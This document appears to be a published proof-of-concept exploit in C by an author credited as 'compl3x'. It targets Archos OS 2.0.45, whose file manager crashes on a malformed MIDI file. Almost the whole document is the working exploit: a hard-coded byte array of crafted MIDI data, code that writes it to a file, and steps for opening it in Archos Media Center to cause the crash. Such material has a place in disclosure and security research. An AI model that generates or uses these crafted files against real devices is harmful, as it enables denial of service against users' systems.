|
#include <stdio.h>
using namespace std;
/*
----------------------------------------------------------------
888 .d8888b.
888 d88P Y88b
888 .d88P
.d8888b .d88b. 88888b.d88b. 88888b. 888 8888" 888 888
d88P" d88""88b 888 "888 "88b 888 "88b 888 "Y8b. `Y8bd8P'
888 888 888 888 888 888 888 888 888 888 888 X88K
Y88b. Y88..88P 888 888 888 888 d88P 888 Y88b d88P .d8""8b.
"Y8888P "Y88P" 888 888 888 88888P" 888 "Y8888P" 888 888
888
888
888
-----------------------------------------------------------------
Title: Archos OS 2.0.45 File Manager MIDI Denial Of Service Exploit
Author: compl3x
Site: compl3x.wordpress.com
Contact: complex@anapnea.net
Twitter: @Complex360
Versions Affected: All (<= 2.0.45)
----------------------------------------------------------------------------------
Oh Archos, Y U NO LIKE MY MIDI?
Copy file to any folder, open it, choose to open with Archos Media
Center
click "ok" on prompt and then press the home button
Also, to Archos: 3 VULNS = 0.0.0.3 added to version, 2.0.4.8. MAKE IT
HAPPEN.
----------------------------------------------------------------------------------
*/
int main(int argc, char **argv)
{
unsigned char data[] =
{
0x4D, 0x54, 0x68, 0x64, 0x00, 0x00, 0x00, 0x06, 0x00, 0x01, 0x00,
0x0B, 0x01, 0x80, 0x4D,
0x54, 0x72, 0x6B, 0x00, 0x00, 0x00, 0x23, 0x00, 0xFF, 0x58,
0x04, 0x04, 0x02, 0x60, 0x08,
0x00, 0xFF, 0x7F, 0x03, 0x00, 0x00, 0x41, 0x00, 0xFF, 0x7F,
0x05, 0x00, 0x00, 0x77, 0x0E,
0x00, 0x00, 0xFF, 0x51, 0x03, 0x07, 0x27, 0x0E, 0x00, 0xFF,
0x2F, 0x00, 0x4D, 0x54, 0x72,
0x6B, 0x00, 0x00, 0x06, 0xD7, 0x00, 0xB0, 0x00, 0x00, 0x00,
0xC0, 0x00, 0x00, 0xB0, 0x07,
0x7F, 0x00, 0xFF, 0x59, 0x02, 0x00, 0x00, 0x00, 0x90, 0x4E,
0x64, 0x84, 0x40, 0x80, 0x4E,
0x00, 0x00, 0x90, 0x4C, 0x64, 0x84, 0x40, 0x80, 0x4C, 0x00,
0x00, 0x90, 0x53, 0x42, 0x42,
0xFE, 0xFE, 0xFF
} ;
printf("\n[+] Archos OS 2.0.45 File Manager MIDI Denial Of Service
Exploit by Complex <<complex@anapnea.net>>");
if(argc != 2)
{
printf("[+] Usage: %s <filename.mid>\n", argv[0]);
return 0;
}
FILE* pFile;
pFile = fopen(argv[1], "wb");
if(pFile == NULL)
{
printf("[-] Error creating file");
return 0;
}
fwrite(data, 1, sizeof(data), pFile);
printf("[+] File: \"%s\"\n", argv[1]);
printf("[+] Written %d bytes\n", sizeof(data));
fclose(pFile);
return 0;
}
|